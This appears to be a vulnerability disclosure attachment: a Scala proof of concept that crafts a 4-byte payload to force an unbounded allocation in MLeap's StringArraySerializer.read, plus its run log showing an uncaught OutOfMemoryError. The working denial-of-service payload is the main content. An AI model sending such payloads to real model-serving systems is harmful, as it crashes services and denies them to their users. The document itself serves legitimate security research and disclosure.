Upload 2 files

poc_dos_unbounded_alloc.scala

@@ -0,0 +1,57 @@
+import ml.combust.bundle.tensor.StringArraySerializer
+import java.io.{ByteArrayInputStream, DataInputStream}
+import java.nio.{ByteBuffer, ByteOrder}
+
+val maxMem = Runtime.getRuntime.maxMemory()
+println(s"JVM Runtime.getRuntime.maxMemory() for THIS console session = $maxMem bytes (~${maxMem / (1024*1024)} MB)")
+
+// Choose a declared size comfortably ABOVE this JVM's actual max heap, so the allocation is
+// guaranteed to fail deterministically against the real ceiling of this specific process,
+// rather than relying on hitting the ~2GiB/Int.MaxValue JVM-wide array-length limit (which would
+// require a much larger, riskier request in a shared session). Still representative of the same
+// bug class: a 4-byte attacker payload requesting far more than is actually available.
+val requestedSize: Int = {
+  val candidate = maxMem + 200L * 1024 * 1024 // maxMemory + 200MB, guaranteed OOM on this heap
+  if (candidate > Int.MaxValue - 16) Int.MaxValue - 16 else candidate.toInt
+}
+println(s"Requested array size (attacker-controlled 4-byte int in the .mleap tensor) = $requestedSize bytes (~${requestedSize / (1024*1024)} MB)")
+
+// Build the 4-byte payload exactly as StringArraySerializer.read expects: a big-endian Int32
+// (java.io.DataInputStream.readInt()) followed by (in the real bug) NOT enough actual data --
+// here we omit the string entries entirely, since the crash happens at `new Array[Byte](size)`
+// BEFORE any subsequent bytes are read.
+val buf = ByteBuffer.allocate(4).order(ByteOrder.BIG_ENDIAN)
+buf.putInt(requestedSize)
+val payload: Array[Byte] = buf.array()
+println(s"Payload size actually present in the malicious .mleap tensor value: ${payload.length} bytes")
+
+println("\n=== Calling the REAL library function StringArraySerializer.read(payload) directly ===")
+
+// Mimic how the real code path calls this: TensorSerializer.fromProto wraps the call, and the
+// library's OWN read() already uses `Try{...}` internally (ArraySerializer.scala) which is built
+// on `scala.util.control.NonFatal` -- NonFatal explicitly excludes VirtualMachineError (the
+// superclass of OutOfMemoryError). To verify that claim empirically, we wrap the call in BOTH:
+//  1. a scala.util.Try (idiomatic Scala error handling, what a typical caller/framework uses)
+//  2. a raw catch (t: Throwable) as a control, to prove the OOM DOES exist and IS catchable if
+//     you go out of your way to catch Throwable specifically (which the library code does not).
+import scala.util.Try
+
+print("[1] Try{ StringArraySerializer.read(payload) } ... ")
+val tryResult = Try {
+  StringArraySerializer.read(payload)
+}
+tryResult match {
+  case scala.util.Success(v) => println(s"[UNEXPECTED SUCCESS] got: $v")
+  case scala.util.Failure(e) => println(s"[Try CAUGHT IT] ${e.getClass.getName}: ${e.getMessage}")
+}
+
+println("\n[2] raw catch (t: Throwable) as a control, to confirm the OOM is real and only a Throwable-level catch sees it:")
+try {
+  val v = StringArraySerializer.read(payload)
+  println(s"[UNEXPECTED SUCCESS] got: $v")
+} catch {
+  case t: Throwable =>
+    println(s"[Throwable-level catch caught it] ${t.getClass.getName}: ${t.getMessage}")
+}
+
+println("\n=== DONE ===")

run_output.txt

@@ -0,0 +1,89 @@
+WARNING: A terminally deprecated method in sun.misc.Unsafe has been called
+WARNING: sun.misc.Unsafe::objectFieldOffset has been called by scala.runtime.LazyVals$ (file:/C:/Users/user/Documents/Framework%20IA/framework-ia/targets/mleap/verify/tools/sbt/bin/sbt-launch.jar)
+WARNING: Please consider reporting this to the maintainers of class scala.runtime.LazyVals$
+WARNING: sun.misc.Unsafe::objectFieldOffset will be removed in a future release
+WARNING: A terminally deprecated method in sun.misc.Unsafe has been called
+WARNING: sun.misc.Unsafe::objectFieldOffset has been called by scala.runtime.LazyVals$ (file:/C:/Users/user/Documents/Framework%20IA/framework-ia/targets/mleap/verify/tools/sbt/bin/sbt-launch.jar)
+WARNING: Please consider reporting this to the maintainers of class scala.runtime.LazyVals$
+WARNING: sun.misc.Unsafe::objectFieldOffset will be removed in a future release
+WARNING: A restricted method in java.lang.System has been called
+WARNING: java.lang.System::load has been called by com.sun.jna.Native in an unnamed module (file:/C:/Users/user/.sbt/boot/scala-2.12.21/org.scala-sbt/sbt/1.12.5/jna-5.12.0.jar)
+WARNING: Use --enable-native-access=ALL-UNNAMED to avoid a warning for callers in this module
+WARNING: Restricted methods will be blocked in a future release unless native access is enabled
+
+[info] welcome to sbt 1.12.5 (Oracle Corporation Java 24.0.1)
+[info] loading settings for project repo-build from plugins.sbt...
+[info] loading project definition from C:\Users\user\Documents\Framework IA\framework-ia\targets\mleap\repo\project
+[info] loading settings for project mleap from build.sbt...
+[info] loading settings for project mleap-base from build.sbt...
+[info] loading settings for project bundle-ml from build.sbt...
+[info] loading settings for project bundle-hdfs from build.sbt...
+[info] loading settings for project mleap-tensor from build.sbt...
+[info] loading settings for project mleap-core from build.sbt...
+[info] loading settings for project mleap-runtime from build.sbt...
+[info] loading settings for project mleap-avro from build.sbt...
+[info] loading settings for project mleap-spark-base from build.sbt...
+[info] loading settings for project mleap-spark-testkit from build.sbt...
+[info] loading settings for project mleap-spark from build.sbt...
+[info] loading settings for project mleap-spark-extension from build.sbt...
+[info] loading settings for project mleap-tensorflow from build.sbt...
+[info] loading settings for project mleap-xgboost-runtime from build.sbt...
+[info] loading settings for project mleap-xgboost-spark from build.sbt...
+[info] loading settings for project mleap-serving from build.sbt...
+[info] loading settings for project mleap-executor from build.sbt...
+[info] loading settings for project mleap-executor-testkit from build.sbt...
+[info] loading settings for project mleap-executor-tests from build.sbt...
+[info] loading settings for project mleap-repository-s3 from build.sbt...
+[info] loading settings for project mleap-grpc from build.sbt...
+[info] loading settings for project mleap-grpc-server from build.sbt...
+[info] loading settings for project mleap-benchmark from build.sbt...
+[info] loading settings for project mleap-spring-boot from build.sbt...
+[info] loading settings for project mleap-databricks-runtime-fat from build.sbt...
+[info] loading settings for project mleap-databricks-runtime from build.sbt...
+[info] loading settings for project mleap-databricks-runtime-testkit from build.sbt...
+[info] resolving key references (31183 settings) ...
+[info] set current project to mleap (in build file:/C:/Users/user/Documents/Framework%20IA/framework-ia/targets/mleap/repo/)
+[info] Installing the s3:// URLStreamHandler via java.net.URL.setURLStreamHandlerFactory
+[info] Creating a new Ivy URLHandlerDispatcher to handle s3:// URLs
+Warning: Tried to extract the base path for relative glob bundle-protobuf\bundle\**\*. To disable this warning, re-run the program with java option, -Dsbt.io.implicit.relative.glob.conversion=allow
+Warning: Tried to extract the base path for relative glob bundle-protobuf\bundle\**\*. To disable this warning, re-run the program with java option, -Dsbt.io.implicit.relative.glob.conversion=allow
+Warning: Tried to extract the base path for relative glob bundle-protobuf\bundle\**\*.{java,scala}. To disable this warning, re-run the program with java option, -Dsbt.io.implicit.relative.glob.conversion=allow
+Warning: Tried to extract the base path for relative glob bundle-protobuf\bundle\**\*.{java,scala}. To disable this warning, re-run the program with java option, -Dsbt.io.implicit.relative.glob.conversion=allow
+[info] Starting scala interpreter...
+Welcome to Scala 2.13.18 (Java HotSpot(TM) 64-Bit Server VM, Java 24.0.1).
+Type in expressions for evaluation. Or try :help.
+[?2004h>....import ml.combust.bundle.tensor.StringArraySerializer
+[?2004h>....import java.io.{ByteArrayInputStream, DataInputStream}
+[?2004h>....import java.nio.{ByteBuffer, ByteOrder}
+[?2004h>....[?2004h>....val maxMem: Long = 1073741824
+[?2004h>....JVM Runtime.getRuntime.maxMemory() for THIS console session = 1073741824 bytes (~1024 MB)
+[?2004h>....[?2004h>....[?2004h>....[?2004h>....[?2004h>....[?2004h>....[?2004h>....val requestedSize: Int = 1283457024
+[?2004h>....Requested array size (attacker-controlled 4-byte int in the .mleap tensor) = 1283457024 bytes (~1224 MB)
+[?2004h>....[?2004h>....[?2004h>....[?2004h>....[?2004h>....[?2004h>....val buf: java.nio.ByteBuffer = java.nio.HeapByteBuffer[pos=0 lim=4 cap=4]
+[?2004h>....val res2: java.nio.ByteBuffer = java.nio.HeapByteBuffer[pos=4 lim=4 cap=4]
+[?2004h>....val payload: Array[Byte] = Array(76, -128, 0, 0)
+[?2004h>....Payload size actually present in the malicious .mleap tensor value: 4 bytes
+[?2004h>....[?2004h>....
+=== Calling the REAL library function StringArraySerializer.read(payload) directly ===
+[?2004h>....[?2004h>....[?2004h>....[?2004h>....[?2004h>....[?2004h>....[?2004h>....[?2004h>....[?2004h>....import scala.util.Try
+[?2004h>....[?2004h>....[1] Try{ StringArraySerializer.read(payload) } ... [?2004h>....java.lang.OutOfMemoryError: Java heap space
+  at ml.combust.bundle.tensor.StringArraySerializer$.$anonfun3(ArraySerializer.scala:163)
+  at ml.combust.bundle.tensor.StringArraySerializer$$$Lambda/0x00000200a319d6a8.apply(Unknown Source)
+  at scala.util.Try$.apply(Try.scala:217)
+  at ml.combust.bundle.tensor.StringArraySerializer$.$anonfun2(ArraySerializer.scala:161)
+  at ml.combust.bundle.tensor.StringArraySerializer$$$Lambda/0x00000200a319d2d0.apply(Unknown Source)
+  at scala.util.Using$.apply(Using.scala:296)
+  at ml.combust.bundle.tensor.StringArraySerializer$.read(ArraySerializer.scala:155)
+  at $anonfun$tryResult$1(<console>:2)
+  at $Lambda/0x00000200a3195108.apply(Unknown Source)
+  at scala.util.Try$.apply(Try.scala:217)
+  ... 22 elided
+[?2004h>....       ^
+       error: not found: value tryResult
+[?2004h>....[?2004h>....
+[2] raw catch (t: Throwable) as a control, to confirm the OOM is real and only a Throwable-level catch sees it:
+[?2004h>....[Throwable-level catch caught it] java.lang.OutOfMemoryError: Java heap space
+[?2004h>....[?2004h>....
+=== DONE ===
+[?2004h>....
+[success] Total time: 13 s, completed 23 jul 2026, 10:28:47